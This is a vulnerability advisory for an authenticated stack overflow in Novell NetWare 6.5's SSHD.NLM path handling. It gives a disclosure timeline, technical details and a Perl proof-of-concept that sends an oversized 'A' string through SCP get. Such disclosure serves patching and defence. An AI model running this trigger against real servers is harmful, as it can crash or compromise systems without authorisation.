Novell Netware 6.5 – OpenSSH Remote Stack Overflow
##################################################################################### Application: Novell Netware OpenSSH Remote Stack Overflow Platforms: Netware 6.5 Exploitation: Remote code execution CVE Number: Novell TID: 7006756 ZeroDayInitiative: ZDI-10-169 Author: Francis Provencher (Protek Research Lab's) Blog: http://www.protekresearchlab.com/ ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Report Timeline ============================ 2010-04-06 The details of this case have been submitted to the vendor as ZDI-CAN-674. 2010-09-01 Vendor respond with an advisory without nothing to fix the vulnerability. ##################################################################################### ============================ 3) Technical details ============================ This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is required to exploit this vulnerability. The flaw exists within SSHD.NLM. When the application attempts to resolve an absolute path on the server, a 512 byte destination buffer is used without bounds checking. By providing a large enough value, an attacker can cause a buffer to be overflowed. Successful exploitation results in remote code execution under the context of the server. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/perl use Net::SSH2; use Getopt::Std; @overflow = ('A' x 1034); getopts('H:P:u:p:', \%opts); $host = $opts{'H'}; $port = $opts{'P'}; $username = $opts{'u'}; $password = $opts{'p'}; if(!defined($host) || !defined($username)) { print "\nUsage: $0 -H <host> -P [port] -u <username> -p [password]\n\n"; exit(0); } print "\SCP Get... Beep, Beep"; foreach(@overflow) { $ssh2 = Net::SSH2->new(); $ssh2->connect($host, $port) || die "\nError: Connection Refused!\n"; open(FD, '>>sshfuzz.log'); print FD $host . "\n" . $_ . "\n\n"; $ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n"; $fuzzssh = $_; $scpget = $ssh2->scp_get($fuzzssh); $ssh2->disconnect(); } sleep(1); close(FD); close(FDD); close(FDDD); close(FDDDD); exit; ##################################################################################### (PRL-2010-07) |